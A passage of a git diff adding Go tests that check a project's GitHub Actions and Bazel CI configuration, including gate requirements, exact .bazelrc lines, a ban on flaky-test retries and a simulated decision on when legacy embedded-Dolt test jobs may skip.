name, got, prRiskBazelCoveredIf) + } + } if workflow.Jobs["test-nix"].If != "" { t.Errorf("test-nix if = %q, want ungated", workflow.Jobs["test-nix"].If) } gate := workflow.Jobs["ci-gate"] - wantNeeds := []string{"detect-ci-tier", "build-embedded", "test-embedded-storage", "test-embedded-conformance", "test-server-storage", "test-server-storage-full", "test-embedded-cmd", "test-proxied-cmd", "test-nix"} + wantNeeds := []string{"detect-ci-tier", "bazel-embedded-coverage", "build-embedded", "test-embedded-storage", "test-embedded-conformance", "test-server-storage", "test-server-storage-full", "test-embedded-cmd", "test-proxied-cmd", "test-nix"} gateStep := gate.step(t, "Evaluate CI gate") - if gate.If != "${{ always() }}" || strings.Join(gate.Needs, ",") != strings.Join(wantNeeds, ",") || gateStep.Env["FULL_EMBEDDED"] != "${{ needs.detect-ci-tier.outputs.full_embedded }}" || gateStep.Env["CI_GATE_REQUIRED"] != "DETECT_CI_TIER BUILD_EMBEDDED TEST_EMBEDDED_STORAGE TEST_EMBEDDED_CONFORMANCE TEST_SERVER_STORAGE TEST_SERVER_STORAGE_FULL TEST_EMBEDDED_CMD TEST_PROXIED_CMD TEST_NIX" || !strings.Contains(gateStep.Run, "skipped_ok=\"BUILD_EMBEDDED TEST_EMBEDDED_STORAGE TEST_EMBEDDED_CONFORMANCE TEST_SERVER_STORAGE TEST_SERVER_STORAGE_FULL TEST_EMBEDDED_CMD TEST_PROXIED_CMD\"") { + if gate.If != "${{ always() }}" || strings.Join(gate.Needs, ",") != strings.Join(wantNeeds, ",") || gateStep.Env["FULL_EMBEDDED"] != "${{ needs.detect-ci-tier.outputs.full_embedded }}" || gateStep.Env["CI_GATE_REQUIRED"] != "DETECT_CI_TIER BAZEL_EMBEDDED_COVERAGE BUILD_EMBEDDED TEST_EMBEDDED_STORAGE TEST_EMBEDDED_CONFORMANCE TEST_SERVER_STORAGE TEST_SERVER_STORAGE_FULL TEST_EMBEDDED_CMD TEST_PROXIED_CMD TEST_NIX" || !strings.Contains(gateStep.Run, "skipped_ok=\"BUILD_EMBEDDED TEST_EMBEDDED_STORAGE TEST_EMBEDDED_CONFORMANCE TEST_SERVER_STORAGE TEST_SERVER_STORAGE_FULL TEST_EMBEDDED_CMD TEST_PROXIED_CMD\"") { t.Errorf("ci-gate authority changed: needs=%v env=%v", gate.Needs, gateStep.Env) } for name, job := range workflow.Jobs { diff --git a/scripts/ci_workflow_test.go b/scripts/ci_workflow_test.go index 60667c057..45a80a952 100644 --- a/scripts/ci_workflow_test.go +++ b/scripts/ci_workflow_test.go @@ -2110,7 +2110,8 @@ func TestBazelLaneIsGatedAlongsideLegacy(t *testing.T) { if !contains(gate.Needs, "bazel") { t.Errorf("ci-gate needs = %v, want bazel", gate.Needs) } - wantBazelIDs := []string{bazelAggregateGateID} + // Plus D2 step 1's retirement check (TestPRRiskEmbeddedDecisionMatchesBazelMode). + wantBazelIDs := []string{bazelAggregateGateID, "BAZEL_EMBEDDED_COVERAGE", "BAZEL_EMBEDDED_RETIRED"} for lane, id := range bazelLaneGateIDs { wantBazelIDs = append(wantBazelIDs, id) if want := "${{ needs.bazel.outputs." + lane + " || 'skipped' }}"; evaluate.Env[id] != want { @@ -2163,7 +2164,9 @@ func TestBazelLaneIsGatedAlongsideLegacy(t *testing.T) { } } - // Legacy jobs stay required: D1 adds, D2 removes. + // Legacy jobs stay required: D1 adds, D2 removes. (D2 step 1 lets + // pr-risk.yml's embedded test jobs skip where this lane runs remotely, + // but they stay required ids: TestPRRiskLegacyEmbeddedTierDefersToBazelLane.) for id, job := range map[string]string{ "BUILD_ARTIFACTS": "build-artifacts", "PR_CORE_WRAPPER": "pr-core-wrapper", @@ -2277,8 +2280,11 @@ type bazelGateScenario struct { mode, enabled string // the call's rbe-mode / rbe-enabled outputs call string // needs.bazel.result outputs map[string]string // the lanes' outputs ("" = not reported) - wantPass bool - wantMention string // a red gate must name this id + // pr.yml's bazel-embedded-coverage job (D2 step 1): its covered output + // and its result ("" = success). + covered, coverage string + wantPass bool + wantMention string // a red gate must name this id } // runPRGateStep runs pr.yml's actual "Evaluate CI gate" step (its run block, @@ -2301,6 +2307,13 @@ func runPRGateStep(t *testing.T, step ciWorkflowStep, sc bazelGateScenario) (boo } var got string switch { + case m[1] == prRiskCoverageJobName && m[2] == "result": + got = sc.coverage + if got == "" { + got = "success" + } + case m[1] == prRiskCoverageJobName && m[3] == "covered": + got = sc.covered case m[1] != "bazel" && m[2] == "result": got = "success" case m[1] != "bazel": @@ -3396,6 +3409,33 @@ func TestBazelDoltServerTiersMirrorPRRisk(t *testing.T) { // runs the embedded variants race like the jobs' binaries, with the jobs' // parallelism; each shard variant runs its job's shard script with the job's // shard total, and the conformance variants pass the jobs' exact selectors. +// bazel-embedded's test step, exactly (review F4). +const bazelEmbeddedTestRun = `set -o pipefail +start=$(date +%s) +rc=0 +bazel test //... --config=embedded \ + --build_event_json_file="$RUNNER_TEMP/bazel-bep.json" \ + 2>&1 | tee "$RUNNER_TEMP/bazel-test.log" || rc=$? +echo "bazel test --config=embedded: exit $rc, $(( $(date +%s) - start ))s wall" | tee -a "$GITHUB_STEP_SUMMARY" +exit "$rc"` + +// .bazelrc's --config=embedded, exactly and in order (review F4): no +// --test_filter, no -test.short/-test.run/-test.skip, no retries, no +// result caching. The conformance targets' own -test.run/-test.skip args +// (the legacy jobs' partition) are checked against pr-risk.yml below. +var bazelEmbeddedRCLines = []string{ + "test:embedded --@rules_go//go/config:race", + "test:embedded --test_tag_filters=embedded", + "test:embedded --build_tests_only", + "test:embedded --keep_going", + "test:embedded --test_summary=terse", + "test:embedded --test_timeout=-1,-1,-1,1200", + "test:embedded --test_arg=-test.parallel=4", + "test:embedded --test_env=GO_TEST_WRAP_TESTV=1", + "test:embedded --remote_download_regex=.*/test\\.xml$", + "test:embedded --nocache_test_results", +} + func TestBazelEmbeddedJobMirrorsEmbeddedTier(t *testing.T) { job := readCIWorkflow(t, bazelWorkflowName).job(t, bazelEmbedJobName) test := job.step(t, "bazel test //... --config=embedded") @@ -3406,6 +3446,13 @@ func TestBazelEmbeddedJobMirrorsEmbeddedTier(t *testing.T) { t.Errorf("embedded step selects remote-exec itself; setup-bazel's rc does that only when secrets are present") } assertTestStepKeepsExitStatus(t, test) + // Review F4: the exact command line. Since D2 step 1 this lane is the + // tier's only pre-merge run on same-repo PRs, so an extra flag (a + // --test_filter, a --test_arg=-test.short/-test.run/-test.skip) that + // quietly narrows it must be a reviewed edit of this test too. + if strings.TrimSpace(test.Run) != bazelEmbeddedTestRun { + t.Errorf("embedded step run changed; want exactly:\n%s\ngot:\n%s", bazelEmbeddedTestRun, test.Run) + } // A shard with no tests assigned, or a selector that matches nothing, // exits 0; the job fails on any target or shard whose test.xml lists none. if !strings.Contains(test.Run, `--build_event_json_file="$RUNNER_TEMP/bazel-bep.json"`) { @@ -3427,12 +3474,43 @@ func TestBazelEmbeddedJobMirrorsEmbeddedTier(t *testing.T) { "test:embedded --test_tag_filters=embedded", // The jobs pass no -parallel: GOMAXPROCS on 4-vCPU ubuntu-latest. "test:embedded --test_arg=-test.parallel=4", + // The tier's only pre-merge run (D2 step 1) must execute, like the + // legacy jobs' -test.count=1, never replay a cached result. + "test:embedded --nocache_test_results", } { if !rc[want] { t.Errorf(".bazelrc lacks %q", want) } } + // Review F4: --config=embedded is exactly these lines, in this order, and + // no unconfigured common/build/test line (which applies to every config) + // selects or narrows tests. + var embeddedLines []string + narrow := regexp.MustCompile(`test_filter|test_arg|-test\.(short|run|skip)|test_tag_filters|test_lang_filters|test_size_filters|test_timeout_filters`) + for _, line := range strings.Split(readPolicyFile(t, bazelPolicyRoot(t), ".bazelrc"), "\n") { + line = strings.TrimSpace(line) + cmd, _, _ := strings.Cut(line, " ") + if strings.HasSuffix(cmd, ":embedded") { + embeddedLines = append(embeddedLines, line) + } + if (cmd == "common" || cmd == "build" || cmd == "test") && narrow.MatchString(line) { + t.Errorf(".bazelrc %q narrows every config's tests, including --config=embedded", line) + } + } + if !reflect.DeepEqual(embeddedLines, bazelEmbeddedRCLines) { + t.Errorf(".bazelrc --config=embedded lines changed; want exactly:\n%s\ngot:\n%s", + strings.Join(bazelEmbeddedRCLines, "\n"), strings.Join(embeddedLines, "\n")) + } + if gen := readPolicyFile(t, sourceRepoRoot(t), setupBazelActionDir+"/write-bazelrc.sh"); narrow.MatchString(gen) { + t.Errorf("setup-bazel's generated rc selects or narrows tests; it may only configure remote execution") + } for line := range rc { + // Nothing turns result caching back on for the embedded lane (a + // later --cache_test_results wins over --nocache_test_results). + if !strings.HasPrefix(line, "#") && strings.Contains(line, "cache_test_results") && + line != "test:embedded --nocache_test_results" && line != "test:docker --nocache_test_results" { + t.Errorf(".bazelrc %q: only test:embedded and test:docker set test result caching", line) + } if strings.HasPrefix(line, "test:embedded ") && (strings.Contains(line, "-test.short") || strings.Contains(line, "BEADS_TEST_SKIP")) { t.Errorf(".bazelrc %q: the embedded jobs run without -short and BEADS_TEST_SKIP", line) } @@ -4523,3 +4601,71 @@ func TestReleaseWorkflowRestoresNoCache(t *testing.T) { t.Fatal("release.yml has no setup-go step; update this test") } } + +// Review F3: the gated Bazel lanes never retry a failing test. The legacy +// jobs they mirror (and, since D2 step 1, replace for the embedded tier) ran +// each test once, so a retry would hide a flaky failure no other job sees. +// Nothing may set --flaky_test_attempts (or --runs_per_test_detects_flakes, +// which reports a failed-then-passed test as FLAKY, not FAILED): not .bazelrc, +// a workflow, setup-bazel's generated rc, or a tools/bazel wrapper; and no +// BUILD file or macro may mark a target flaky = True (Bazel retries those up +// to three times by default). +func TestBazelGatedLanesNeverRetryFlakyTests(t *testing.T) { + if os.Getenv("TEST_SRCDIR") != "" { + t.Skip("scripts_test's runfiles hold no other package's BUILD files") + } + root := sourceRepoRoot(t) + retry := regexp.MustCompile(`flaky_test_attempts|runs_per_test_detects_flakes`) + // Any flaky = other than a literal False/0 (a variable or macro + // parameter could be True). bazel-embedded also asks Bazel itself + // (TestBazelEmbeddedQueriesFlakyTargets). + flakyAttr := regexp.MustCompile(`\bflaky\s*=\s*([^,)\s]+)`) + checked := 0 + err := filepath.WalkDir(root, func(path string, d os.DirEntry, err error) error { + if err != nil { + return err + } + rel, _ := filepath.Rel(root, path) + if d.IsDir() { + switch d.Name() { + case ".git", "node_modules", ".beads": + return filepath.SkipDir + } + return nil + } + if d.Type()&os.ModeSymlink != 0 { + return nil // bazel-* convenience symlinks + } + base := d.Name() + isBuild := base == "BUILD" || base == "BUILD.bazel" || strings.HasSuffix(base, ".bzl") + isRetrySurface := rel == ".bazelrc" || strings.HasPrefix(rel, ".github"+string(filepath.Separator)) || + strings.HasPrefix(rel, filepath.Join("tools", "bazel")+string(filepath.Separator)) + if !isBuild && !isRetrySurface { + return nil + } + data, err := os.ReadFile(path) + if err != nil { + return err + } + checked++ + for i, line := range strings.Split(string(data), "\n") { + code := line + if j := strings.Index(code, "#"); j >= 0 && (isBuild || rel == ".bazelrc") { + code = code[:j] + } + if retry.MatchString(code) { + t.Errorf("%s:%d retries failing tests (%q); the gated lanes run each test once", rel, i+1, strings.TrimSpace(line)) + } + if m := flakyAttr.FindStringSubmatch(code); isBuild && m != nil && m[1] != "False" && m[1] != "0" { + t.Errorf("%s:%d marks a target flaky (%q); Bazel would retry it", rel, i+1, strings.TrimSpace(line)) + } + } + return nil + }) + if err != nil { + t.Fatal(err) + } + if checked < 10 { + t.Fatalf("checked only %d files; is the repository root right?", checked) + } +} diff --git a/scripts/pr_risk_bazel_coverage_test.go b/scripts/pr_risk_bazel_coverage_test.go new file mode 100644 index 000000000..cc8dade13 --- /dev/null +++ b/scripts/pr_risk_bazel_coverage_test.go @@ -0,0 +1,1169 @@ +package scripts_test + +import ( + "fmt" + "os" + "os/exec" + "path/filepath" + "reflect" + "regexp" + "strconv" + "strings" + "testing" + + "gopkg.in/yaml.v3" +) + +// D2 step 1: PR Risk's legacy embedded-Dolt test jobs stand down on the PRs +// where pr.yml's gated Bazel `embedded Dolt tier` lane (bazel.yml's +// bazel-embedded, remote mode only) is the tier's run, and nowhere else. +// Both workflows run the same bazel-embedded-coverage job, which reads a +// committed flag (BAZEL_RETIRES_LEGACY_EMBEDDED), never the mutable +// RBE_WEST_WORKERS variable. PR Risk's gate accepts the legacy skips only +// when that job says covered; pr.yml's gate then requires the Bazel lane to +// have run remotely and passed, so no re-run of either workflow, with the +// variable flipped either way, can leave both gates green and the tier +// unrun. + +const ( + prRiskWorkflowName = "pr-risk.yml" + prRiskCoverageJobName = "bazel-embedded-coverage" + prRiskCoverageCovered = "${{ steps.decide.outputs.covered }}" + prRiskPullRequestValue = "${{ github.event_name == 'pull_request' }}" + prRiskRetiredFlag = "BAZEL_RETIRES_LEGACY_EMBEDDED" + prRiskRetiredValue = "${{ env." + prRiskRetiredFlag + " == 'true' }}" + // The legacy jobs' if: the existing risk tier, and not covered. + prRiskBazelCoveredIf = "needs.detect-ci-tier.outputs.full_embedded == 'true' && needs." + prRiskCoverageJobName + ".outputs.covered != 'true'" +) + +// The retired legacy jobs and their gate ids. build-embedded is not one: its +// artifact also feeds the proxied and server Dolt jobs. +var prRiskBazelCoveredJobs = []string{"test-embedded-storage", "test-embedded-conformance", "test-embedded-cmd"} + +var prRiskBazelCoveredIDs = map[string]string{ + "test-embedded-storage": "TEST_EMBEDDED_STORAGE", + "test-embedded-conformance": "TEST_EMBEDDED_CONFORMANCE", + "test-embedded-cmd": "TEST_EMBEDDED_CMD", +} + +// The bazel.yml rbe step env keys the decision copies verbatim. +var prRiskSharedDecisionEnv = []string{"FORK"} + +// The decision's Dependabot test: Dependabot runs get no Actions secrets, so +// bazel.yml runs them locally and they keep the legacy tier. +const prRiskDependabotValue = "${{ github.actor == 'dependabot[bot]' }}" + +// rbeFacts: what GitHub evaluates the decision steps' env expressions on. +type rbeFacts struct { + event string // github.event_name + rbeVar string // vars.RBE_WEST_WORKERS ("" = unset) + secret string // secrets.RBE_WEST_EXECUTOR ("" = unavailable: fork, Dependabot, unset) + fork bool // github.event.pull_request.head.repo.fork + retired string // the committed env.BAZEL_RETIRES_LEGACY_EMBEDDED + // github.actor is dependabot[bot] (fixed for a PR's runs and re-runs). + dependabot bool +} + +func (f rbeFacts) String() string { + return fmt.Sprintf("event=%s var=%q secret=%v fork=%v retired=%q dependabot=%v", f.event, f.rbeVar, f.secret != "", f.fork, f.retired, f.dependabot) +} + +var ( + rbeEvents = []string{"pull_request", "merge_group", "push", "workflow_dispatch", "pull_request_target"} + rbeVarValues = []string{"", "true", "True", "TRUE", "false", "1", "yes"} + rbeSecrets = []string{"", "grpcs://rbe.example:443"} + retiredValues = []string{"true", "True", "false", ""} +) + +// rbeFactsMatrix: every combination of the facts the decisions read. +func rbeFactsMatrix() []rbeFacts { + var out []rbeFacts + for _, event := range rbeEvents { + for _, v := range rbeVarValues { + for _, secret := range rbeSecrets { + for _, fork := range []bool{false, true} { + for _, retired := range retiredValues { + for _, dependabot := range []bool{false, true} { + out = append(out, rbeFacts{event, v, secret, fork, retired, dependabot}) + } + } + } + } + } + } + return out +} + +// evalRBEExpr evaluates the env expressions the decision steps may use, for +// a bazel.yml call with these inputs (with: the caller's `with:`; unset +// inputs take their defaults). GitHub's == on strings is case-insensitive. +// Any other expression fails the test, so the simulation cannot silently +// drift from the workflows. +func evalRBEExpr(t *testing.T, expr string, f rbeFacts, with map[string]string) string { + t.Helper() + input := func(name, def string) string { + if v, ok := with[name]; ok { + return v + } + return def + } + switch expr { + case prRiskPullRequestValue: + return strconv.FormatBool(f.event == "pull_request") + case prRiskRetiredValue: + return strconv.FormatBool(strings.EqualFold(f.retired, "true")) + case prRiskDependabotValue: + return strconv.FormatBool(f.dependabot) + case "${{ vars.RBE_WEST_WORKERS == 'true' }}": + return strconv.FormatBool(strings.EqualFold(f.rbeVar, "true")) + case "${{ inputs.rbe == 'off' }}": + return strconv.FormatBool(strings.EqualFold(input("rbe", "on"), "off")) + case "${{ github.event.pull_request.head.repo.fork == true }}": + return strconv.FormatBool(f.fork) + case bazelForkFarmValue: + return strconv.FormatBool(strings.EqualFold(input("fork-farm", "off"), "authorized") && + f.event == "pull_request_target" && input("checkout-sha", "") != "") + case bazelRBESecretValue: + return strconv.FormatBool(f.secret != "") + } + t.Fatalf("decision env expression %q: teach evalRBEExpr how GitHub evaluates it", expr) + return "" +} + +// runDecisionStep runs a decision step's script under GitHub's bash flags +// with its env evaluated for f, and returns its $GITHUB_OUTPUT. +func runDecisionStep(t *testing.T, step ciWorkflowStep, f rbeFacts, with map[string]string) (map[string]string, error) { + t.Helper() + env := map[string]string{} + for k, v := range step.Env { + env[k] = evalRBEExpr(t, v, f, with) + } + return runBazelRBEDecision(t, step.Run, env) +} + +func coverageStep(t *testing.T, workflow string) ciWorkflowStep { + t.Helper() + job := readCIWorkflow(t, workflow).job(t, prRiskCoverageJobName) + if len(job.Steps) != 1 { + t.Fatalf("%s %s has %d steps, want exactly the decision step", workflow, prRiskCoverageJobName, len(job.Steps)) + } + return job.Steps[0] +} + +func prRiskCoverageStep(t *testing.T) ciWorkflowStep { return coverageStep(t, prRiskWorkflowName) } + +// workflowEnv: a workflow's top-level env. +func workflowEnv(t *testing.T, name string) map[string]string { + t.Helper() + var doc struct { + Env map[string]string `yaml:"env"` + } + if err := yaml.Unmarshal([]byte(readPolicyFile(t, sourceRepoRoot(t), ".github/workflows/"+name)), &doc); err != nil { + t.Fatal(err) + } + return doc.Env +} + +// The decision job reads the committed flag, the event, the actor and, +// through bazel.yml's rbe job's own expression, the fork flag: nothing a +// re-run can change, so never RBE_WEST_WORKERS, any other variable or any +// secret, and it runs no repository code. pr.yml runs the identical job, and +// both workflows commit the same flag. Nothing else in pr-risk.yml reads the +// facts, and nothing in it reads a secret. +func TestPRRiskBazelEmbeddedCoverageJob(t *testing.T) { + risk := readCIWorkflow(t, prRiskWorkflowName) + job := risk.job(t, prRiskCoverageJobName) + if len(job.Needs) != 0 || job.If != "" || job.RunsOn != "ubuntu-latest" || len(job.Env) != 0 || job.ContinueOnError || job.TimeoutMinutes == 0 { + t.Errorf("%s: needs %v, if %q, runs-on %q, env %v, continue-on-error %v, timeout %d; want no needs, if, env or continue-on-error, ubuntu-latest, a timeout", + prRiskCoverageJobName, job.Needs, job.If, job.RunsOn, job.Env, job.ContinueOnError, job.TimeoutMinutes) + } + if want := map[string]string{"covered": prRiskCoverageCovered}; !reflect.DeepEqual(job.Outputs, want) { + t.Errorf("%s outputs = %v, want %v", prRiskCoverageJobName, job.Outputs, want) + } + if prJob := readCIWorkflow(t, "pr.yml").job(t, prRiskCoverageJobName); !reflect.DeepEqual(prJob, job) { + t.Errorf("pr.yml's %s differs from pr-risk.yml's:\n%+v\n%+v", prRiskCoverageJobName, prJob, job) + } + riskFlag, prFlag := workflowEnv(t, prRiskWorkflowName)[prRiskRetiredFlag], workflowEnv(t, "pr.yml")[prRiskRetiredFlag] + if riskFlag != prFlag || (riskFlag != "true" && riskFlag != "false") { + t.Errorf("%s: pr-risk.yml %q, pr.yml %q; want the same literal \"true\" or \"false\" in both", prRiskRetiredFlag, riskFlag, prFlag) + } + step := prRiskCoverageStep(t) + rbeStep := readCIWorkflow(t, bazelWorkflowName).job(t, bazelRBEJobName).Steps[0] + wantEnv := map[string]string{"PULL_REQUEST": prRiskPullRequestValue, "RETIRED": prRiskRetiredValue, "DEPENDABOT": prRiskDependabotValue} + for _, k := range prRiskSharedDecisionEnv { + wantEnv[k] = rbeStep.Env[k] + } + if step.ID != "decide" || step.Uses != "" || step.Shell != "" || len(step.With) != 0 || step.If != "" || step.ContinueOnError != nil || !reflect.DeepEqual(step.Env, wantEnv) { + t.Errorf("%s step: id %q, uses %q, shell %q, with %v, if %q, env %v; want id decide, a plain run step with env %v", + prRiskCoverageJobName, step.ID, step.Uses, step.Shell, step.With, step.If, step.Env, wantEnv) + } + if strings.Contains(step.Run, "${{") || regexp.MustCompile(`\.github/|\./|source |\bbash\b|RBE_WEST_WORKERS|RBE_VAR|EXECUTOR`).MatchString(step.Run) { + t.Errorf("%s step runs repository code, interpolates expressions or reads the RBE variable or secret:\n%s", prRiskCoverageJobName, step.Run) + } + for k, v := range step.Env { + if regexp.MustCompile(`\b(secrets|vars)\s*(\.|\[)`).MatchString(v) { + t.Errorf("%s step env %s = %q reads a secret or variable; a re-run could change it", prRiskCoverageJobName, k, v) + } + } + + // Only the decision step reads the facts; nothing reads a secret or a + // repository variable. + stepEnv := ".jobs." + prRiskCoverageJobName + ".steps[0].env." + secretRef := regexp.MustCompile(`\bsecrets\s*(\.|\[)`) + facts := regexp.MustCompile(`(?i)RBE_WEST_WORKERS|\bvars\s*(\.|\[)|head\.repo\.fork|RBE_WEST_EXECUTOR|github\.actor|dependabot|` + prRiskRetiredFlag) + walkYAML(readYAMLNode(t, filepath.Join(".github", "workflows", prRiskWorkflowName)), "", func(path string, key bool, value string) { + if key { + if value == prRiskRetiredFlag && path != ".env."+prRiskRetiredFlag { + t.Errorf("%s: %s sets %s; only the workflow env may", prRiskWorkflowName, path, prRiskRetiredFlag) + } + return + } + if secretRef.MatchString(value) { + t.Errorf("%s: %s reads secrets (%q); PR Risk needs none", prRiskWorkflowName, path, value) + } + if facts.MatchString(value) && !strings.HasPrefix(path, stepEnv) && !strings.HasPrefix(path, ".jobs."+prRiskCoverageJobName+".steps[0].run") { + t.Errorf("%s: %s re-derives the Bazel coverage decision (%q); read needs.%s.outputs.covered", prRiskWorkflowName, path, value, prRiskCoverageJobName) + } + }) +} + +// prGateFor: pr.yml's ci-gate scenario for one run whose Bazel call took +// this mode with every lane that runs in it passing, and whose +// bazel-embedded-coverage job said covered. +func prGateFor(t *testing.T, lanes map[string]map[string]bool, event, mode, covered string) bazelGateScenario { + t.Helper() + outputs := map[string]string{} + for lane, modes := range lanes { + if modes[mode] { + outputs[lane] = "success" + } + } + return bazelGateScenario{ + name: fmt.Sprintf("%s mode %s covered %s", event, mode, covered), event: event, + mode: mode, enabled: strconv.FormatBool(mode == "remote"), call: "success", + outputs: outputs, covered: covered, + } +} + +// bazelPRCallLanes: the modes each bazel.yml lane runs in under pr.yml's call. +func bazelPRCallLanes(t *testing.T, with map[string]string) map[string]map[string]bool { + t.Helper() + lanes := map[string]map[string]bool{} + for name, job := range readCIWorkflow(t, bazelWorkflowName).Jobs { + if name != bazelRBEJobName { + lanes[name] = bazelLaneRunModes(t, name, job.If, with) + } + } + return lanes +} + +// Never both gates green with neither the legacy tier nor the Bazel lane +// having run it. covered (both workflows' actual decision scripts) is the +// committed flag on a same-repo, non-Dependabot pull_request: nothing a +// re-run can change. Across two runs (PR Risk's and pr.yml's, or a re-run of +// either) that see RBE_WEST_WORKERS and the executor secret differently, +// every combination: if PR Risk skipped the legacy tier, pr.yml's actual +// gate step is green only if the lane ran remotely. The happy path (flag, +// variable and secret on) is green with the legacy tier skipped; the kill +// switch (variable off) or a missing secret with the flag still on is red. +func TestPRRiskEmbeddedDecisionMatchesBazelMode(t *testing.T) { + requireHostTool(t, "bash") + pr := readCIWorkflow(t, "pr.yml") + call := pr.job(t, "bazel") + if call.Uses != "./.github/workflows/"+bazelWorkflowName { + t.Fatalf("pr.yml bazel job uses %q, want the local %s", call.Uses, bazelWorkflowName) + } + riskStep, prStep := prRiskCoverageStep(t), coverageStep(t, "pr.yml") + rbeStep := readCIWorkflow(t, bazelWorkflowName).job(t, bazelRBEJobName).Steps[0] + gateStep := pr.job(t, "ci-gate").step(t, "Evaluate CI gate") + lanes := bazelPRCallLanes(t, call.With) + + // The Bazel lane PR Risk defers to: remote-only, gated by pr.yml. + if !lanes[bazelEmbedJobName]["remote"] { + t.Fatalf("%s does not run in mode remote", bazelEmbedJobName) + } + gate := pr.job(t, "ci-gate") + required := strings.Fields(gateStep.Env["CI_GATE_REQUIRED"]) + for _, id := range []string{bazelLaneGateIDs[bazelEmbedJobName], "BAZEL_EMBEDDED_COVERAGE", "BAZEL_EMBEDDED_RETIRED"} { + if !contains(required, id) { + t.Errorf("pr.yml's ci-gate does not require %s", id) + } + } + if !contains(gate.Needs, "bazel") || !contains(gate.Needs, prRiskCoverageJobName) { + t.Errorf("pr.yml's ci-gate needs %v, want bazel and %s", gate.Needs, prRiskCoverageJobName) + } + cmd := exec.Command("bash", filepath.Join(sourceRepoRoot(t), bazelGateScript), "skips") + cmd.Env = []string{"PATH=" + os.Getenv("PATH"), "BAZEL_RBE_MODE=remote", "BAZEL_RBE_ENABLED=true"} + out, err := cmd.Output() + if err != nil { + t.Fatal(err) + } + if contains(strings.Fields(string(out)), bazelLaneGateIDs[bazelEmbedJobName]) { + t.Fatalf("pr.yml's gate accepts a skipped %s in mode remote", bazelLaneGateIDs[bazelEmbedJobName]) + } + + // Both workflows run for the same PRs, so a PR Risk run that defers + // always has a pr.yml run that gates the lane. + type triggers struct { + On struct { + PullRequest struct { + Branches []string `yaml:"branches"` + Paths []string `yaml:"paths"` + Ignore []string `yaml:"paths-ignore"` + Types []string `yaml:"types"` + } `yaml:"pull_request"` + } `yaml:"on"` + } + var prOn, riskOn triggers + for name, dst := range map[string]*triggers{"pr.yml": &prOn, prRiskWorkflowName: &riskOn} { + if err := yaml.Unmarshal([]byte(readPolicyFile(t, sourceRepoRoot(t), ".github/workflows/"+name)), dst); err != nil { + t.Fatal(err) + } + } + if !reflect.DeepEqual(prOn, riskOn) || len(prOn.On.PullRequest.Paths)+len(prOn.On.PullRequest.Ignore) != 0 { + t.Fatalf("pull_request triggers differ or are path-filtered: pr.yml %+v, %s %+v", prOn, prRiskWorkflowName, riskOn) + } + + type decided struct{ covered, prCovered, mode string } + decideMemo := map[rbeFacts]decided{} + decide := func(t *testing.T, f rbeFacts) decided { + t.Helper() + if d, ok := decideMemo[f]; ok { + return d + } + bazel, err := runDecisionStep(t, rbeStep, f, call.With) + if err != nil { + t.Fatalf("bazel.yml rbe step: %v", err) + } + risk, err := runDecisionStep(t, riskStep, f, nil) + if err != nil || len(risk) != 1 { + t.Fatalf("%s decision step: %v %v", prRiskCoverageJobName, risk, err) + } + prd, err := runDecisionStep(t, prStep, f, nil) + if err != nil { + t.Fatalf("pr.yml %s step: %v", prRiskCoverageJobName, err) + } + d := decided{risk["covered"], prd["covered"], bazel["mode"]} + decideMemo[f] = d + return d + } + + // One run's facts: the decision itself. + sawCovered, sawLegacy := false, false + for _, f := range rbeFactsMatrix() { + d := decide(t, f) + want := strings.EqualFold(f.retired, "true") && f.event == "pull_request" && !f.fork && !f.dependabot + if d.covered != strconv.FormatBool(want) || d.prCovered != d.covered { + t.Errorf("%v: covered = %q (pr.yml %q), want %v", f, d.covered, d.prCovered, want) + } + if want { + sawCovered = true + } else { + sawLegacy = true + } + } + if !sawCovered || !sawLegacy { + t.Errorf("matrix never exercised both outcomes (covered %v, legacy %v)", sawCovered, sawLegacy) + } + + // Two runs (PR Risk's and pr.yml's, each possibly re-run) that agree on + // everything committed or fixed by the PR and differ in what an admin can + // change between them: the variable and the secret. + gateMemo := map[string]bool{} + prGatePasses := func(t *testing.T, event, mode, covered string) bool { + t.Helper() + key := event + "/" + mode + "/" + covered + if pass, ok := gateMemo[key]; ok { + return pass + } + pass, _ := runPRGateStep(t, gateStep, prGateFor(t, lanes, event, mode, covered)) + gateMemo[key] = pass + return pass + } + for _, f := range rbeFactsMatrix() { + if f.event != "pull_request" && f.event != "merge_group" { + continue // the events both workflows run on + } + risk := decide(t, f) + for _, v := range rbeVarValues { + for _, secret := range rbeSecrets { + g := f + g.rbeVar, g.secret = v, secret + prRun := decide(t, g) + legacyRan := risk.covered != "true" + bazelRan := prRun.mode == "remote" // and passed: every lane succeeds here + if !legacyRan && !bazelRan && prGatePasses(t, g.event, prRun.mode, prRun.prCovered) { + t.Errorf("PR Risk run %v skipped the legacy tier and pr.yml run (var %q, secret %v, mode %s, covered %s) is green without the Bazel lane", + f, v, secret != "", prRun.mode, prRun.prCovered) + } + } + } + } + + // Named cases, for the record (with the committed flag on). + for _, c := range []struct { + name string + f rbeFacts + covered string + prPasses bool + }{ + {"same-repo PR, farm on", rbeFacts{"pull_request", "true", "x", false, "true", false}, "true", true}, + {"same-repo PR, kill switch (var unset)", rbeFacts{"pull_request", "", "x", false, "true", false}, "true", false}, + {"same-repo PR, executor secret missing", rbeFacts{"pull_request", "true", "", false, "true", false}, "true", false}, + {"same-repo PR, flag reverted, var unset", rbeFacts{"pull_request", "", "x", false, "false", false}, "false", true}, + {"same-repo PR, flag reverted, secret missing", rbeFacts{"pull_request", "true", "", false, "false", false}, "false", true}, + {"fork PR", rbeFacts{"pull_request", "true", "", true, "true", false}, "false", true}, + {"fork PR somehow with a secret", rbeFacts{"pull_request", "true", "x", true, "true", false}, "false", true}, + {"Dependabot PR (no Actions secrets)", rbeFacts{"pull_request", "true", "", false, "true", true}, "false", true}, + {"Dependabot PR, var unset", rbeFacts{"pull_request", "", "", false, "true", true}, "false", true}, + {"merge_group", rbeFacts{"merge_group", "true", "x", false, "true", false}, "false", true}, + {"merge_group, var unset", rbeFacts{"merge_group", "", "x", false, "true", false}, "false", true}, + } { + d := decide(t, c.f) + if d.covered != c.covered { + t.Errorf("%s: covered = %q, want %s", c.name, d.covered, c.covered) + } + if pass, out := runPRGateStep(t, gateStep, prGateFor(t, lanes, c.f.event, d.mode, d.prCovered)); pass != c.prPasses { + t.Errorf("%s: pr.yml gate pass = %v, want %v\n%s", c.name, pass, c.prPasses, out) + } else if !pass && !regexp.MustCompile(`::error::BAZEL_EMBEDDED_RETIRED\b`).MatchString(out) { + t.Errorf("%s: red pr.yml gate does not name BAZEL_EMBEDDED_RETIRED:\n%s", c.name, out) + } + } + // Covered, remote, but the lane failed, was cancelled or reported + // nothing: red, naming the retirement 